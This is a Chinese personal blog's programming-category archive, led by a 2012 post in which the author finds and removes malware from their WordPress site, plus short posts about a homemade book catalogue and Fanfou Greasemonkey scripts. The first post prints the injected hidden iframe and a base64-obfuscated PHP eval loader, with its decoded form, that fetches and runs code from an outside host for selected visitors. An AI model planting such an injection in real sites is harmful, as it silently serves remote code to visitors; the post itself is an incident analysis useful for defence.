且行且远

Archive for the ‘编程菜园’ Category

分类: 编程菜园 由 ssfighter 于 2012年7月2日 发表

今天早晨登录自己的博客,忽然发现被报成了有害站点,一查,Google说该网站被挂马了,很奇怪啊,我自己这么小的网站都会被挂马?一开始还不太相信,因为自己看页面源代码的时候一点问题都没有,还以为是Google搞错了,后来用Rex Swain’s HTTP Viewer看了一下才发现,原来我的http://blog.ssfighter.com/果然有一个iframe:

<iframe src="http://directs33.in/in.cgi?55764" width="1" height="1" frameborder="0"></iframe>

看来果然是被挂马了,可是我的主页上却没有被挂马,相册、维基也没事,而在我空间上挂的别人的博客却也被挂上了一样的木马,非常奇怪,但却死活都找不到木马到底挂在了哪个文件上。grep了一通也没找到,最后从网上下载了一份新的Wordpress,把自己Wordpress的代码和干净的Wordpress比对了一下,发现了点问题,在wp-content/index.php文件里面发现了这么一段:

<?php /*68066*/ error_reporting(0); @ini_set('error_log',NULL); @ini_set('log_errors',0); @ini_set('display_errors','Off'); @eval( base64_decode('ZXJyb3JfcmVwb3J0aW5nKDApOwpzZXRfdGltZV9saW1pdCgwKTsKJHozNz0ic3RhdHMiOwokdWEzPSRfU0VSVkVSWyJIVFRQX1VTRVJfQUdFTlQiXTsKJHUzNyA9IGFycmF5KCJHb29nbGUiLCAiU2x1cnAiLCAiTVNOQm90IiwgImlhX2FyY2hpdmVyIiwgIllhbmRleCIsICJSYW1ibGVyIiwgIk1hYyIsICJpbnV4IiwgIlgxMSIpOwppZigocHJlZ19tYXRjaCgiLyIgLiBpbXBsb2RlKCJ8IiwgJHUzNykgLiAiL2kiLCAkdWEzKSkgb3IgKGlzc2V0KCRfU0VSVkVSWyJIVFRQX1JFRkVSRVIiXSkgPT0wKSAgb3IgKGlzc2V0KCRfU0VSVkVSWyJIVFRQX0NPT0tJRSJdKSkgIG9yIChpc3NldCgkX1NFUlZFUlsiSFRUUF9VU0VSX0FHRU5UIl0pID09MCkgKQp7fQplbHNlCnsKQHNldGNvb2tpZSgkejM3LG1kNSgic3RhdHMiKSx0aW1lKCkrMTcyODAwKTsKJHVybCA9ICJodHRwOi8vNDA0MGVudC5jb20vc2Vzc2lvbi5waHA/aWQiOwokaWZyYW1lPUBldmFsKGZpbGVfZ2V0X2NvbnRlbnRzICgkdXJsKSk7CmlmICgkaWZyYW1lKSBlY2hvKCRpZnJhbWUpOyAKfQoK'));/*68066*/ ?>

看来这就是问题所在,用Base64给那一大堆字符解码,可以看到:

error_reporting(0);
set_time_limit(0);
$z37="stats";
$ua3=$_SERVER["HTTP_USER_AGENT"];
$u37 = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler", "Mac", "inux", "X11");
if((preg_match("/" . implode("|", $u37) . "/i", $ua3)) or (isset($_SERVER["HTTP_REFERER"]) ==0)  or (isset($_SERVER["HTTP_COOKIE"]))  or (isset($_SERVER["HTTP_USER_AGENT"]) ==0) )
{}
else
{
@setcookie($z37,md5("stats"),time()+172800);
$url = "http://4040ent.com/session.php?id";
$iframe=@eval(file_get_contents ($url));
if ($iframe) echo($iframe);
}

果然,这里就是挂的马,这个68066的注释很有意思,正好用这个作为特征值在wordpress目录下用grep扫一遍:

grep -r '68066' ./

可以发现所有的index.php文件都被挂马了,再回到www的根目录下发现果然是所有的index.php都在头上加了这么一段,把这些东西都清除掉,万事大吉。再查,在非www目录里的index.php都没有被感染。

很抱歉一直没发现自己的博客被挂马,影响了大家,真对不起。我已经向Google申请review,希望能尽快把这个“已被报告的攻击站点”给去掉。最后总结一下,尽管是小站,还是要多加注意,以前完全没想到自己一个个人的小站也会被挂马,没仔细查原因,看起来似乎是从FTP那边进攻的,先把FTP服务给关掉好了,反正自己一时半会也用不到。


分类: 编程菜园 由 ssfighter 于 2011年2月18日 发表

一直以来,我都希望能有一个属于自己的图书管理系统,以前在这篇文章里面提到过,我也一直很喜欢任氏有无轩的设计,一直以来,那都是我梦想的东西,也在网上找了很长时间,但一直没找到合适的软件,所以就萌生了自己写一个的想法。在HTML、CSS、PHP均为零基础的情况下,奋斗了一个来月,终于做成了一个雏形,同样是基于Symfony的框架,程序还有很多bug,不过已经实现了最基本的功能,下面打算抽空把自己书架上面的书都录入进去。

电子书架的地址是http://books.ssfighter.com/,我想起个名字,不过还没想好呢,欢迎大家献计献策。

值得一提的是,前两天在上传的时候,不小心用rm -rf造成了杯具,好不容易备份好了VPS,重新装了系统,我承认我是猪。


分类: 编程菜园 由 ssfighter 于 2010年12月16日 发表

我似乎总是在关注我follow了谁,而谁没有follow我,所以就有了如下的这个脚本。饭否在“关注我的人”的列表里可以显示出哪些人是我关注的,哪些人是我没关注的,而在“我关注的人”中却不能看到这些人是否follow我了,应用这个脚本之后,可以显示出谁关注了我,谁没有关注我,如下图所示:

脚本使用环境为Firefox+Greasemonkey。

脚本下载:fanfou_advanced_friends_.user.js


分类: 编程菜园 由 ssfighter 于 2010年12月9日 发表

饭否一直不能在别人的页面上显示对方是否关注自己,这点一直让我觉得很不方便,所以就写了这个脚本。这个脚本最早是2008年6月写的,虽然有点小问题,但自己一直在用,再后来就是饭否失踪,在饭否回来之后页面有点变化,所以以前的脚本就不能用了,修改了一下,现在应该是好用多了。

饭否本身提供了显示这个人是否是自己好友的提示功能,如下图所示:

使用脚本之后,不仅可以显示对方是否是我关注的人,还可以显示对方是否关注了我,如下图所示:

该脚本需要Firefox+Greasemonkey的支持,不知道这两者是何物的可以自行Google,Google之后还不明白的,可以跳过此文了。第一次使用会需要输入用户名和密码,这是因为饭否的API需要用户名和密码的认证,密码安全请放心(不放心的可以看源代码),如果需要修改,可以在“用户脚本命令”菜单中选择“设置饭否验证信息”。如果没有正确地显示出“也在关注我”的信息,应该是用户名和密码不符,没有通过饭否API的验证。2011年3月16日更新:现在采用了别的API,已经不需要再输入用户名和密码了。

脚本下载:fanfou_follower_status.user.js


分类: 编程菜园 由 ssfighter 于 2008年11月9日 发表

其实这个小脚本很早以前就做了,但是一直无人问津,不过自己倒是一直在用,以前的问题是当遇到中文ID的时候会有问题,因为会出现%8F这样的编码,所以觉得不是很完美。

后来Shawphy网友告诉了我方法,可惜自己一直没有去改原来的脚本,怪自己太懒,刚才改了一下,嗯,一下子就搞定了,再次谢谢Shawphy。

下载: fanfou_follower_status.user.js

使用前提:Firefox+GreaseMonkey。这两者是什么我就不介绍了,普及工作请自行Google:)